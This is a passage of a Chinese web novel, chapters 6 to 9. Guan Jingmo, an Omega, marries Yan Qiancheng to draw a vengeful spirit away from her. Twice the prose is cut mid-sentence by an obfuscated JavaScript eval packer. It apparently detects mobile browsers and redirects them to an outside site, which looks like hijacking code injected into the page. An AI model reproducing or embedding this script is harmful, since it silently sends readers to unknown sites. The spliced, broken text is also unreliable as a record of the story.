“不算无辜了,她是他们的亲生女儿,血脉相连。网上很多人骂人,都咒人家一个户口本的,人家家里就算有刚出生的婴儿,也被咒上了,”姚甜甜叹气,“那怨灵是黑色的,怨气不算特别重,弄死几个人,应该就满足了。怨气最重的红色怨灵,是要屠村屠城的,所经之处,鸡犬不留,它们害死的人更多,更无辜。” “你有办法对付怨灵吗?”关景墨问。 姚甜甜尴尬摇头:“我只是个初学者,超度怨灵那么高阶的东西我不会。” 关景墨:“……” 这人倒是诚实。 他只好继续问:“那你懂的东西,是谁教你的?他现在在哪里?你能向他请教一下吗?” 余甜甜叹气:“是我姑婆教我的。我也好想她再教教我啊,小时候我就想跟在姑婆身边,做个学徒,可爸妈都拼命反对。爸爸说那是封建迷信,妈妈要我好好学习,完成义务教育还不够,还要我考大学!我每天要做一堆作业,周末还要上补习班,语数英物化生,好多好多东西要学,哪有时间跟姑婆学玄学!等我拼命卷啊卷,卷上大学,我姑婆都去世了,再也教不了我了!” 关景墨:“……” 他继续想办法:“那你有没有认识的人会?” 姚甜甜脸色沉重:“没有,我要是认识那样的高人,早就跪下拜师学艺了。刚刚我不是跟你说,我去了深山吗,其实是听说那里有高人,想去拜师,结果找了很久没找到。回来看到你的招聘启事,赶来应聘,其实也是想借机认识点高人,学些东西,没想到一屋子的“高人”,没一个靠谱的,连我这半吊子都不如……唉,现在这时世,真正的高人太难找了,有真本领的隐世不出,没本事的装得仙风道骨,满大街招摇撞骗……” 她一肚子怨气,啰哩啰嗦抱怨了很久。 关景墨揉着太阳穴,心里着急又无奈。 因为他清楚,姚甜甜说的,都是事实。 他这段时间,已经想尽办法了,就只找来这么一个半吊子。 真正的高人太少太少,他砸再多的钱也砸不来,只能靠虚无缥缈的机缘。 他怕千澄没时间等他找了。 关景墨咬着下唇,想了又想,想出一个办法:“你知道,那怨灵总共要害多少人吗?” 姚甜甜停止抱怨,伸手掏她的帆布包:“我算一卦哈。” 关景墨一看,她掏出来的是几个硬币,不是古铜钱,就是现代用的硬币。 感受到关景墨目光里的质疑,姚甜甜尴尬解释:“我姑婆的东西都被爸妈卖了,我刚毕业,没钱买好东西……啊,你也不用帮我买,一时之间找不到什么好货的,这几个硬币我用惯的,你知道梅花易数吗?古人用动物叫声、字的笔画数、衣服的颜色等等都可以起卦,我这硬币……” “你算的卦,准确率多少?”关景墨打断她的喋喋不休。 姚甜甜想了想:“大概六七成吧。” 关景墨:“……” 不懂玄学的人,闭上眼睛随便猜,也有五成的准确率啊。 罢了,准确率无论多高,只要不是百分百,都有出错的可能,都不能全信。 姚甜甜用双手手心包着硬币,面朝窗外天空,虔诚祷告好久。 然后,她双手摇晃几下,将硬币扔到桌面上,再从包包里掏出纸笔,画出一堆长长短短的线条。 看着线条堆,皱紧眉头沉思片刻,姚甜甜犹犹豫豫地说:“卦象显示,怨灵要杀三个人,已经杀了两个,只剩一个了。” 7. 第 7 章 “你确定吗?”关景墨忍不住又问。 姚甜甜尴尬摇头:“不确定,我是初学者,卜卦结果仅供参考,概不负责的哈。” 关景墨:“……” 他沉吟片刻,缓缓说:“我最近感觉到,那阴影……怨灵,好像注意到我了。” 姚甜甜面色严肃起来:“它是怎样‘注意’你?” 关景墨想了想:“我也不知道怎么说……就感觉它‘看’了我几次,有次我还感觉到,它好像对我冷笑了一声。” 怨灵是一团人形的阴影,关景墨看不清它的容貌,一切只是他的感觉。 要是他把这感觉告诉心理医生,大概会被诊断为“妄想症”“精神分裂”之类的心理疾病吧。 “你是纯阴体质,能看见怨灵。你关注它,它感觉到你的关注,回关你一下也正常。阿飘是五衰之体,怨灵煞气重,比普通飘更能压人运势,沾染不得的,你应该能避则避,避不开就装作没看见……” 讲起最爱的玄学,姚甜甜又开始喋喋不休,说到口干,拿起桌子上的苹果汁喝了口。 心里感叹真是有钱人,一个临时招待客人的地方,摆满了各式饮料,名牌茶叶名牌酒名牌咖啡名牌矿泉水水果汁各种口味都有,还有一盘盘一碟碟国内外经典款点心小吃。 唉,算了,一个人能拥有多少财富,是命中注定的,羡慕不来。 她感叹着,听有钱人关景墨说:“以前,就算我盯着它看很久,试图和它沟通,它都没理我。它好像只关注千澄的父母和她,完全不在意别人。直到……这段时间,它才注意到我。” “那,这段时间,有发生什么特别的事吗?”姚甜甜问。 关景墨的脸突然红了,移开视线。 “怎么啦?”从小到大一直卷学习,毕业没多久的半吊子玄学大师姚甜甜,还未学会看人脸色。 关景墨嘴唇开合几次,想着要救千澄,这事不能瞒,就狠了狠心,说了出口:“我……那天出了意外……被千澄完全标记后,它突然就关注我了……” 声音小得都快听不见了。 然后他压下羞涩,直视姚甜甜:“我在想,如果怨灵只要再带走一个人,那我能不能代替千澄……” 姚甜甜一个没忍住,嘴里的苹果汁喷了出来。 她一边手忙脚乱地整理,一边忍不住吐槽:“你恋爱脑啊!颜千澄是‘出了意外’才标记你的?你的意思是,她根本就不喜欢你?你为了个不爱自己的人,连命都不要啊?” 看看周围琳琅满目的点心饮料:“好日子不过,要寻死?我真是无法理解!” 关景墨咬咬唇,压下一切情绪:“你就说,我有没有机会代替千澄……” 姚甜甜扶额。 她想了想,先说免责声明:“你知道的哈,我是初学者……” 关景墨点头:“我知道,一切后果我自己承担,不怨你。” 姚甜甜叹气。 人啊。 她仔细回忆姑婆跟她说过的话:“怨灵最开始会缠上它的仇人,仇人不死它不休。杀完仇人,一口怨气未散,才会盯上仇人的家人。颜千澄不是它的第一目标,理论上,是可以被替代的。” 关景墨眼睛一亮。 “但是!”姚甜甜赶紧说但是,“不是谁都能代,必须是很亲近的家人,你说怨灵只是看你几眼,这关注度是不够的,我刚看到,它还跟在颜千澄身后呢,说明它觉得杀仇人的亲女儿,比杀仇人的女婿更解气。哦,你还不算仇人的女婿,你只是……” 关景墨脸上的表情太复杂,姚甜甜再无社会经验,也感觉到接下来的话会伤到人,默默住了口。 关景墨顿了顿,专注于正事:“那我现在,应该怎样做?” 姚甜甜斟酌着言辞,尽量不伤害眼前的Omega:“首先你要正式成为它仇人的家人。没有血缘关系的人要成为家人,只能通过婚姻。古时候结婚有一系列完整的步骤,现在情况比较复杂,玄学论坛上,算命先生预测结婚时间时,对怎样算是结婚,也有几种说法。有人说结婚要依照古礼,举办仪式,神前盟誓;有人说两人发生那种事,就是结婚,叫做事实婚姻;有人说要领证,有文书证明才是结婚……我不知道那怨灵认同哪一种,要不你都做了?正式成为他们的家人后,你要让怨灵觉得你比颜千澄更讨厌,更可恨,或许它就会放过颜千澄来杀你了,但你一定要小心行事,怨灵要害多少人,是看它的怨念深浅,如果你激怒它太过,他可能把你和颜千澄一起杀了,你得把握好一个度……” 姚甜甜絮絮叨叨讲了很久,末了再来一次免责声明。 关景墨认真听着,等她说完,给了重金酬谢,客客气气送她出门。 关景墨知道,这位大师不是很靠谱,她的话不能全信。 他已经考虑好了。 最好的情况,是尽快找到有本领又靠谱的大师超度怨灵,千澄不用死,他也不用死。 但这要看机缘,只能尽人事而听天命。 关景墨会尽力找,但也要做好找不到的准备。 如果姚甜甜的卜卦结果准,怨灵再带走一个就满足了,如果姚甜甜的办法,能让他代替千澄死…… 这对关景墨来说,也是不错的结果了。 如果卜卦结果不准,怨灵不但要杀千澄,还要杀他…… 或者怨灵不肯让他代替千澄,一定要杀千澄…… 那,他就追随她于地下。 从很久很久以前开始,颜千澄就是关景墨的精神支柱。 她若不在了,世上一切,于关景墨再无意义。 关景墨知道,千澄不爱他,不稀罕他的付出,不需要他的追随。 如果千澄知道一切,或许宁愿死,也不接受他用这种方式救她。 但…… 他不能眼睁睁看着千澄死啊。 以前,他一点办法都没有。 现在,堂弟下药,意外发生,千澄完全标记了他。 他们有了所谓的“事实婚姻”。 怨灵已经注意到他。 事情走到这一步,基本条件已经具备。 他就要运用好手上的牌,尽力救千澄,或者,跟她一起死。 关景墨像往常做商业决策一般,冷静分析种种可能,做出他心目中最有利的决定。 他要让千澄正式娶他。 关景墨眼眶发酸,手肘撑在桌面上,双手掩住脸。 完全标记,对Omega的身心影响巨大,法律保护Omega,原则上要求Alpha对被他们完全标记的Omega负责。 但颜千澄是被下药的。 前不久,庭审的时候,高坐法庭中央,德高望重的老法官,曾缓声跟他说,颜千澄是在无法自控的情形下,完全标记他的,依照法律,她不需要负任何责任,问他是否理解,是否接受。 当时,法庭里,所有人都看向关景墨。 幸灾乐祸的、看热闹的、同情的……各种各样的目光,刺到他身上。 颜千澄面无表情。 关景墨回应法官:“我理解,我接受。” 声音平静,无波无澜。 法庭寂静了一瞬。 被完全标记了,Alpha却不负责,对世上大多数Omega来说,几乎是灭顶之灾了。 所有人都没想到,关景墨会那么冷静地,接受这样的命运。 关景墨身边的律师张了张嘴,想用三寸不烂之舌,帮他的当事人争取一下。 却被他的当事人制止。 关景墨继续平静说道:“我没有尽好监管责任,让未成年的亲属,在我关氏集团举办活动的地方投放有毒-药品,对颜千澄小姐造成伤害,请颜千澄小姐原谅。” 在千澄面前,关景墨会变得拙嘴笨舌。 这番话,他是提前想好,反复演练过的。 发挥得还不错。 关景墨知道,千澄是个明理的人。 他不要求千澄对他负责,对她无所求,千澄会相信,他事先是真的不知情,他不是故意害她的。 他坦白自己的错误,真诚认错,千澄就算现在再生气,等她气头过了,总有一天,会原谅他的。 他们发生过那样的事,想回到以前那样,有几分情分的老同学关系,是不可能的了。 关景墨只求千澄不要讨厌他。 听到他的表态,颜千澄的脸色果然缓和多了。 她说,愿意承担他做完全标记去除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891487|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术的费用,以及后续的护理费、营养费。 她说,他们没有缘分,希望他以后能找到属于自己的幸福。 关景墨不想做完全标记去除术。 不是怕疼,而是,他不想除去最爱的Alpha留在自己身上的痕迹。 但这痕迹,她希望他除掉,他就除掉吧。 关景墨想说,这辈子,他心里只有她一人,根本就无法喜欢上旁人。 就算不能跟她在一起,只能远远地仰望她,他也是幸福的。 但如今这境况,说这些话,只会徒增彼此的尴尬。 于是关景墨低下头,千澄说一句,他就柔顺地应一声“好的”。 关景墨的婶婶“哼”了一声,说他“假惺惺,以退为进”,叔叔叫她“小声点”。 别人怎么想,关景墨不管。 他鼓起勇气,抬头看颜千澄。 看到她脸上有几分同情与歉意。 关景墨心里又是酸痛,又是安慰。 千澄相信他了,原谅他了。 …… 他跟千澄的关系,才刚刚缓和。 不到半天时间,他就要亲手将他们的关系,推到万劫不复的境地。 他反悔了,不但不去做完全标记去除术,抹掉他偷来的,跟她之间的身体联结,还要强求千澄对他负责,娶他进门。 在千澄心里,他关景墨,会变成一个反复无常的小人吧…… 信用一旦崩塌,就极难恢复。 从今往后,从他嘴里说出来的任何话,千澄都不会再相信了。 下药案件,警察找不到任何证据,证明他是不是事先知情,有没有存心利用堂弟,螳螂捕蝉黄雀在后地算计她。 之前,因为他自愿承担一切后果,对千澄一无所求,所以千澄愿意相信,他是无辜的。 现在,千澄肯定会重新怀疑他。 换成是他,也会怀疑啊。 千澄会讨厌他…… 夜幕已降,关景墨没有开灯,黑暗中,他忍不住呜咽出声,泪水湿了指缝。 良久,关景墨收拾心情,将心思放在正事上。 想要千澄娶他,他可以去求千澄的祖母颜龄。 颜千澄的父亲天天只顾着吃喝玩乐玩小O,母亲总是抱怨这抱怨那,两人的心思,都没放在颜千澄身上,没怎么关心她。 是颜千澄的祖母颜龄,早早将她接到身边抚养。 颜千澄小学时参加作文比赛,以一篇《我的祖母》获得比赛一等奖。 文章里说,无论她祖母工作多忙,总会抽出时间关心她的生活起居,认真倾听她的一切想法。 几件琐屑小事,几句平淡日常的对话,在颜千澄笔下,散发着点点温馨柔和的光辉。 字里行间,流露出颜千澄对祖母深深的爱。 等颜千澄长大点,颜龄带她出席颜氏集团的大小会议,以及各种商务场合。 关景墨多次亲眼看见,颜龄悉心教导颜千澄,祖孙俩感情极好。 这些年来,是颜龄填补了颜千澄父母角色的空缺,是她最重要的亲人。 现在,颜龄病重。 关景墨曾看望过她。 她身子消瘦佝偻,脸色衰败,显然已进入生命的倒计时了。 就算用最先进的仪器监护,用最昂贵的药品医治,也只是尽尽人事罢了,无法拖缓死亡的脚步。 千澄肯定希望,祖母最后的日子,能过得舒心、安心。 祖母最后的愿望,她一定会尽一切力量达成。 事不宜迟,关景墨整理好仪容,去见颜龄。 关景墨知道,颜龄一直很欣赏他。 只要扔掉脸皮,跟她说,自己已经被千澄完全标记了,跟她说,他很爱千澄,想在生活上照顾她,在事业上辅佐她……就行了。 考虑到颜龄的身体状况,要尽量长话短说,语气要尽量缓和。 关景墨不用怎么想,就知道该怎样说服她。 谈话很顺利,得到颜龄的点头认可后,关景墨松了口气。 却听到病榻上,颜龄虚弱的声音。 “景墨,想嫁给千澄,你还要去见见喻君辞。” “他是千澄的心上人。” 8. 第 8 章 关景墨脑袋“嗡”了一声。 千澄的心上人? 千澄有心上人? 明明,她跟所有Omega都保持距离,从来没跟谁亲近过啊。 千澄的心上人,叫喻君辞? 谁? 关景墨想了又想,终于在庞大的记忆库角落,找到这个名字。 关景墨和颜千澄读大学时,主修经济管理,喻君辞是其它院系的讲师。 真的是那个喻君辞吗? 他……看上去很普通,没什么特别的啊。 人也低调,如果不是有朋友是他的直系学生,关景墨根本不会知道,大学里有这么一个人。 哦,喻君辞不是Omega,是男Beta。 千澄……喜欢他? 没见过千澄跟他在一起啊。 别说情侣间的亲密情状了,大学几年,都没见过他们两人一起吃过饭,散过步…… 病榻上的颜龄虚弱疲惫,关景墨不敢再打扰,先告辞了。 离开病房,回到车上,关景墨恍惚了很久。 在他心里,颜千澄很完美,光芒耀眼。 他一直觉得,没有人能配得上她。 从来没想过,颜千澄会喜欢上别人。 可是,颜龄精明过人,跟颜千澄关系亲近,她不会弄错的。 还有……千澄中药的时候…… 她曾把他,当成另外一个人,待他极尽温柔宠爱。 只是,之后的记忆,痛苦至极,他不愿再触碰,就一直没有细想。 关景墨心里酸楚难当。 原来,不是千澄不会喜欢别人,是他不够好,无法让她喜欢。 原来,下药事件对千澄的伤害,比他想象的还要深。 原来,他想嫁给千澄,对她来说,是多么讨厌的纠缠。 …… 网上很多人说,他是史上最不要脸的Omega。 关景墨现在觉得,他们说的也没错。 他的确不要脸。 利用千澄对祖母的感情,逼她娶他,已经很不要脸了。 更不要脸的,是他还要去见千澄的心上人,想办法,让他不要阻碍自己跟千澄的婚事。 可是,他不得不去。 就算要他把自己的脸皮扔到地上,让对方踩几脚,他也得去。 就如颜龄所说,想跟千澄结婚,她的心上人,是最大的变数。 得把这变数稳定好。 大不了,以后,他用自己所拥有的一切,包括他的生命,给他们做赔礼。 然后,彻底退出他们的世界。 关景墨咬牙,压下心头酸楚,吩咐司机驱车前往他跟千澄读过的大学。 找到喻君辞的住处,关景墨敲门。 等了片刻,门开了。 喻君辞看见他,怔了怔,表情有些困惑。 关景墨知道自己来得突然,尴尬地自我介绍:“您好,我名叫关景墨,是……” 关氏集团的董事长兼总裁? 这名头听来显赫,但对对方毫无意义,关景墨改口,说:“是颜千澄的……” 他又卡壳了。 自己是千澄的什么人呢? 朋友? 以前,或许勉强能算。 现在,他已经不配了。 最终,关景墨说:“我是颜千澄的同学。” 几句自我介绍,说得磕磕碰碰,关景墨自己都嫌弃自己。 但,在这人面前,关景墨无法挺直腰杆。 强烈的羡慕与羞愧,压得他连呼吸都困难。 幸好喻君辞没有多说什么,将门再拉开些,请他进来。 学校配备的教职工宿舍,空间有限,关景墨一进门就发现,他其实不用怎么介绍自己。 书桌上摆着一台手提电脑。 电脑屏幕显示的,是网上某个著名论坛的界面,中间有他今天走出法庭时,路人拍下的照片。 关景墨羞愧尴尬,脸上发烫:“我……” 喻君辞指了指矮己旁的椅子:“请坐。” 矮己上,摆着半套茶具,还冒着淡淡的水蒸气。 显然,他敲门的时候,喻君辞正在沏茶,自斟自饮。 关景墨坐下,喻君辞取出新的茶杯,沏了新茶,递给他。 关景墨双手接过,抿了一口。 喻君辞是工薪阶层,不比颜千澄关景墨这些含着金汤匙出生的人,用的茶叶茶具不是珍品。 但品质也不错,他应该是个爱茶的人。 网上很多不相关的人,用恶毒的言辞咒骂关景墨,恨不得他死。 而理应最恨他的人,却用待客之道,礼貌招待他。 态度不卑不亢,一派平静淡然。 关景墨端着茶杯,一时不知道,该怎样开口。 之前,听到颜千澄喜欢喻君辞的时候,他很惊讶。 喻君辞看上去,真的很普通,跟关景墨每天在路上见过的大多数人一样普通。 关景墨不明白,千澄为什么会看上他。 现在,透过喻君辞平和的眼眸,关景墨看见他一个不普通的地方。 他内心极稳定。 外界任何风霜雪雨,都无法撼动他。 这样的人,一旦认定什么事,无论是以利相诱,还是以势相逼,恐怕都难以改变。 “找我有什么事吗?”见关景墨不开口,喻君辞主动问。 关景墨咬咬下唇。 来都来了,脸皮已经扔掉,不能再矫情了。 他抬头,直视喻君辞:“我……想跟千澄结婚。” 话音落下,喻君辞云淡风轻的神情,终于有了改变。 现出几分苦涩。 关景墨羞愧,低下头。 片刻后,听到喻君辞的回应:“为什么,要跟我说呢?” 声音有点干涩,但声线仍平稳。 关景墨嗫嚅:“我听说,千澄,你……” “我跟千澄,并没有特殊关系。”喻君辞说。 关景墨看着他。 没有特殊关系? 那你,为什么会苦笑呢? 宿舍内寂静了片刻,外头隐约传来几声虫鸟鸣叫。 然后,喻君辞放下茶杯,注视着关景墨:“千澄还好吗?” 关景墨不知道该怎么回答。 现在,千澄还活着,但肯定不开心。 “是不是……”喻君辞想了想,“颜氏集团出了什么问题?” 关景墨摇头。 这时候他还未在颜氏集团担任职务,但关氏集团跟颜氏集团合作多年,他大致知道他们的状况。 之前,颜氏集团在颜龄主持下,一切井井有条。 千澄父母去世,颜龄病倒,集团混乱了一段时间。 千澄接手后,很快将一切拉回正轨。 她很有能力,是一个很好很优秀的Alpha,集团内外,人人敬服。 思绪飘开,关景墨怔愣着,冷不防听到喻君辞说:“千澄肯定是出事了,除了她家人的事,和……被下药,还有别的事……你要跟她结婚,是想帮她,对不对?” 关景墨心跳漏了半拍,赶紧控制住面部表情。 “为了帮她,你甚至会有所牺牲。”喻君辞继续说。 关景墨怀疑喻君辞跟姚甜甜是同行,段位远比她高。 喻君辞叹气:“你……看起来很爱千澄,但你说要跟她结婚的时候,眼睛里没有幸福,没有喜悦,没有丁点对未来美好生活的憧憬,反而有很深的担忧,你在担心千澄。” “你眼里,还有一份悲哀。” 沉默片刻,喻君辞移开视线,一边沏茶,一边缓缓道:“我出生在一个偏远的小山村,从小我有一个愿望,就是走出去。我很努力读书,终于拿到大学录取通知书。” “那天,我父母很高兴,但他们眼睛里,有着跟你类似的悲哀。” “后来我才知道,为了给我凑够学费,他们卖了祖传的土地和房子,一无所有,背井离乡去外地打工。” 喻君辞给关景墨续了茶水,看着他的眼睛:“所以,千澄究竟出了什么事?你打算怎样帮她?你要牺牲的,是什么?” 关景墨思潮起伏,眼眶发酸。 这,就是千澄喜欢的人吗? 聪明,正直,温柔。 虽然他否认了跟她的关系。 但他在意她,关心她。 真好啊。 日后,自己代千澄死了,有这样的人在千澄身边,她一定会过得很好。 关景墨稳了稳情绪,将他是怎样发现颜千澄父母身后有阴影,颜千澄父母死亡的疑点,后来阴影怎样跟着颜千澄,他怎样访寻奇人异士,寻到的人怎么说……一一告诉喻君辞。 喻君辞静静听他说完,问:“为什么你不把这一切告诉千澄?” 关景墨苦涩道:“千澄……她从来不信那些东西……” 他在颜千澄身边多年,了解她,知道她偶尔会看玄幻片,但她不信,认为一切玄幻皆有科学解释。 如今,在她心里,他已经毫无信用可言。 他说的话,她更不会信了。 喻君辞叹气,眉头紧蹙。 “你相信我的话?”关景墨问。 喻君辞很实诚:“不是十分信,我觉得有八成的可信度吧,毕竟我跟你刚认识。” 关景墨眼睛发热。 八成的可信度,不低了。 在网上、身边几乎所有人都在怀疑他的时候,肯相信他的人,居然是……千澄的心上人。 “在我的家乡,有怨灵的故事。”喻君辞说。 颜千澄是唯物论者,他不是。 乡下地方,流传着各种传说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891488|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每逢祭典、节气、红白事,家长给孩子们讲种种禁忌。 盛夏的夜晚,繁星满天,出来纳凉的老婆婆摇着蒲扇,给孩子们讲牛郎织女。 路过荒山、不知名古迹、废旧村屋,年长的孩子给年幼孩子们讲“很多很多年前……”的故事。 自小耳濡目染,对神秘领域,喻君辞一直保持着一份敬畏之心。 关景墨惊喜:“那你知道对付怨灵的办法吗?” 喻君辞苦苦思索:“我不知道。怨灵的故事,在于警示人们不要作恶,以免祸及子孙后代。凡人作恶,动心起念皆有报应,现在不报将来报,祖辈的恶未报完,就报在子孙身上。就算没有怨灵,天道迟早也会将一切清算,逃不了的。” 关景墨颤声说:“但千澄……千澄是个好人,做了很多好事,她的善行,不能抵消祖上的恶报吗……” “千澄的确心地良善,或许天道会给她一线生机,”喻君辞面露不忍,“但你确定要自己吸引怨灵的注意?不找找别的办法?你继续这样下去,很可能会死。” “我一直在找,就怕没时间了……”见喻君辞想了很久,也没想到办法,关景墨的心沉落下来,“嫁给千澄,是我多年来,最大的心愿,请你……求求你,成全我,不要阻止我……” 喻君辞站起身,走到窗前,望着远处的风景,沉默片刻,低声说:“我跟千澄,只是普通朋友,并没有立场阻止你。” 关景墨松了口气,继续求他:“还有,请不要把这事告诉千澄,一个字也别说,她不会接受我的帮助的……” …… 几天后,关景墨接到颜千澄秘书的电话,说颜千澄约他谈婚前协议。 地点定在全市最正统最庄严的会议中心。 颜千澄带着颜氏集团的律师团来的。 她一直面无表情,没有多看他一眼。 她甚至没问他,为何出尔反尔,刚说不用她负责,转头就找她祖母,逼她娶他。 想来,千澄已经不相信他了,不想听他谎话连篇,干脆就不问。 众人落座,颜千澄向她的律师点头示意,律师就把厚厚一叠婚前协议递给关景墨。 一切流程都很官方,很正式。 像在签商业协议。 也是,原本千澄对他,就一点爱意也无。 现在,不但没有爱意,还有几分恨意吧。 千澄跟他联姻,以他们的身份,会涉及到庞大的股权与资金变动,从商业的角度来处理,很正常。 关景墨低头,翻看她的律师团制定的婚前协议。 千澄啊千澄,你还是那么正直,那么厚道。 他死皮赖脸,想尽一切办法的要嫁她。 是他求着要嫁她。 她却没有借机谋算他名下的任何资产。 婚前协议的一桩桩一条条,都旨在维护颜氏集团的正当利益。 关景墨一目十行地看完,没说什么,就签了字。 然后,忍不住看向颜千澄。 看见她黑眸里掠过几丝惊讶。 她在惊讶什么?关景墨没懂。 签完婚前协议,两人去领证。 走的是VIP通道,拍照、填表格、交资料,不过几分钟时间,就拿到红彤彤的结婚证。 关景墨小心翼翼地把结婚证收好,鼓起勇气,小声问:“千澄,婚礼……什么时候办?” 颜千澄停步,转头,美丽的脸上,笑意嘲讽:“还要办婚礼?” 关景墨难堪低头,幸好之前姚甜甜帮他想了个好借口,他小声说:“我听说,在古代,有时候长辈病重,子孙会办喜事,叫做冲喜。” 考虑到颜千澄不信玄学,他解释:“我想,让长辈心情好起来,对病情或许有帮助。” 颜千澄沉默片刻,冷声说:“那就尽快。” 她果真很爱她的祖母。 关景墨怕惹她烦,小声说:“我来筹办吧,会尽量缩短流程,依照古礼拜神、祭祖、请几席亲友,就够了。” 颜千澄盯着他:“跟你一起拜神祭祖,可以,大排筵席也没问题,但是,我不会跟你洞房花烛。” 关景墨脸上火辣辣的,羞耻无比,他没说什么,小声应了句“是”。 颜千澄盯着他:“这样,你也要跟我结婚?” 关景墨强忍羞耻,点点头。 颜千澄不再说话,转身走了。 既然千澄愿意大排筵席哄她祖母高兴,也为了尽量吸引怨灵注意,关景墨用最快的速度,办了个盛大的世纪婚礼。 婚礼那天,一切布置奢华浪漫。 双方亲友与各界名流齐来道贺,衣香鬓影,繁盛热闹。 漫天花雨中,他的盖世英雄,来迎娶他了。 关景墨觉得自己在做梦。 浮生若梦。 心酸,歉疚,又有点小小的,小小的幸福。 9.第 9 章 完全标记、领证、办婚礼。 生理、法律、习俗,无论从哪个角度看,关景墨都已成为颜千澄的配偶,她的亲人。 婚礼结束,两人一起回到颜氏家族的祖宅。 颜千澄依旧厚道,没有亏待关景墨,把他送到祖宅的主人房,吩咐管家照顾他。 也依旧冷漠,没多说半句话,就转身走了,不给他丝毫无谓的希望。 关景墨没有失落,也不心酸了。 他很高兴。 因为,他看见,这一次,阴影没有随千澄走。 它留下来了。 胳膊上的毛发竖起,关景墨感觉到,它正注视着他。 还感觉到,它似乎又冷笑了一声。 …… 关景墨等着怨灵向他出手。 可是,怨灵跟了他半个月,又飘回千澄身后。 有时候盯着他,有时候盯着千澄。 关景墨不知道怨灵到底想怎样,是觉得他分量不够,懒得动他,只想杀千澄一人,还是想找个机会,将他和千澄两人一起杀掉。 他发了疯般的到处找高人,跟姚甜甜反复讨论,想方设法吸引怨灵的注意,提心吊胆地等。 等了一个月,两个月,三个月…… 怨灵一直没动手。 也一直没走,一直盯着他们。 今早,关景墨一睁眼,发现怨灵不在他附近。 肯定又去跟着千澄了。 正好今天是颜千澄预定要探望祖母的日子,关景墨就挑一辆高端定制的,能应付多种极端状况的防弹车,去片场接她。 “臣侍……多年来,受陛下恩宠……” “愿为陛下做任何事,以报陛下……” 片场上,那男Omega的台词,在关景墨耳边回响,他轻叹一声。 他也愿意为她做任何事啊,甚至…… 关景墨抬眸,望向车窗外,半空处,那个朦胧阴暗的身影。 酸涩发红的眼睛瞬间锐利,神情决绝。 他甚至,愿意为千澄而死。 只要千澄平平安安,无论要他怎样都没关系。 车子抵达颜氏集团旗下的高端疗养院。 两人下车。 关景墨沉默着,一路跟在颜千澄身后,直到看见颜龄,才出声问候:“颜董。” 颜董,颜龄董事长。 如今颜龄年老病重,早已将颜氏集团董事长的位子交予颜千澄,将总裁的职务交予关景墨了,但关景墨在人前人后,还用以前的尊称称呼她。 脊背微弯,屏息静气,眼角眉梢流露出衷心的尊敬。 “好孩子,”颜龄黯淡的眼眸微微发亮,“你已经跟千澄结婚了,该跟着她,喊我祖母。” 关景墨尴尬,看向颜千澄。 颜千澄正看着摆在桌面上的药品包装。 以前,医生们会努力想办法医治,一种药疗效不行,就换下一种,有时候还开个单子,让她天南地北的去找医院里没有的药。 可最近几次来医院,发现药都是那几种,几乎没有改变。 颜千澄心里明白,医生们都已经放弃了,现在的一切治疗,目的只为减轻祖母的痛苦,让她走得舒服些。 想必祖母心里也明白的。 她跟关景墨婚后关系冷淡,关景墨一直用职位尊称称呼祖母。祖母之前没说什么,现在,她心急了。 压下心头痛楚,颜千澄拿出最高水平的演技,微笑着,向她最讨厌的人点点头。 关景墨明白颜千澄的想法,微红了脸,小声喊颜龄“祖母”,羞涩温顺。 颜龄吃力地微笑:“好孩子。” 视线落到关景墨的肚子上,意有所指:“如果……临走前能听到好消息,我就心满意足了。” “祖母您说什么呢,您肯定能长命百岁的!”就算已经做好心理准备,颜千澄也不愿听祖母说不吉利的话。 祖母话里的另一层意思,颜千澄明白,只是实在没心情去想。 关景墨顺着颜千澄的话,说:“我会再寻访名医,让您早日康复。” 颜龄微微一叹,问:“颜氏怎么样?” 关景墨恭谨回答:“一切都好,最近与政府合作的新城项目推进顺利……” 说了几句话,颜龄累了,颜千澄和关景墨一起帮她躺好,盖上被子。 颜龄昏昏沉沉,正要阖上眼盖,突然双眼大睁,瞪着颜千澄身后:“你……你是谁?跟着我孙女干什么?” 颜千澄一怔,回望身后。 一片空荡。 再远些,便是病房的白墙。 关景墨也吃了一惊。 颜龄看见怨灵了? 她之前一直看不见的啊。 只见颜龄高高举起插着吊针,干瘦如柴的手,在半空中拼命挥舞:“快走!快走!不许你害我孙女!快走啊!” 颜千澄赶紧按铃喊医生,然后小心制住颜龄,不让她乱动:“祖母,您冷静些,一时眼花而已,我好得很,没事的……” 祖母现在的状况,如同风中残烛,颜千澄很担心她脆弱的病体经不住这番激动,努力安抚她。 “千澄,你看不见?”颜龄瞪她。 颜千澄又回头看了一眼,依旧是一片空荡。 她握着祖母的手,柔声安抚:“祖母,您是眼花了。来,躺下好好睡个觉,醒来就没事了。” 心里暗暗难过。 小时候心情不好,祖母就是用这样的语气,哄她睡觉。 现在她长大了,祖母老了,病了,轮到自己哄她了。 在颜千澄的抚慰下,颜龄安定了些。 她吃力地喘着粗气,呆呆望着半空的阴影,一脸疑惑。 颜千澄轻抚祖母背部,帮她顺气。 医生进来,关景墨简要说明状况,让医生帮颜龄检查身体。 颜龄突然又激动起来:“不对,我没眼花,那东西在盯着你啊千澄,它想害你!” 颜千澄正要配合医生,安抚神志不清的祖母,关景墨上前,轻轻拉着颜龄另一只手:“祖母,我知道,您放心吧,我会帮千澄的。” 